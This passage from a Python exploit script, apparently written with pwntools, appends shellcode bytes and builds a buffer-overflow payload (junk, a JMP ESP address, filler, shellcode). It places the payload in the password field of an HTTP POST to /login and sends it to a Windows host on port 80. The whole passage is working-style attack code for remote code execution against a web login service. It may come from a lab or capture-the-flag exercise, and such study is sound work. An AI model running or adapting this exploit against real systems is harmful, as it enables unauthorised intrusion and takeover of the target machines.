shellcode += b"\x54\xe2\xc2\xb9\x1e\xae\x63\x52\xc7\x3b\x36"
shellcode += b"\x3f\xf8\x96\x75\x46\x7b\x12\x06\xbd\x63\x57"
shellcode += b"\x03\xf9\x23\x84\x79\x92\xc1\xaa\x2e\x93\xc3"
shellcode += b"\xc9\xb1\x07\x8f\x23\x57\xa0\x2a\x3b\x97\x50"
shellcode += b"\xb5\x3b\x97\x50\xb5"
payload = junk + jmpesp + filler + shellcode
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)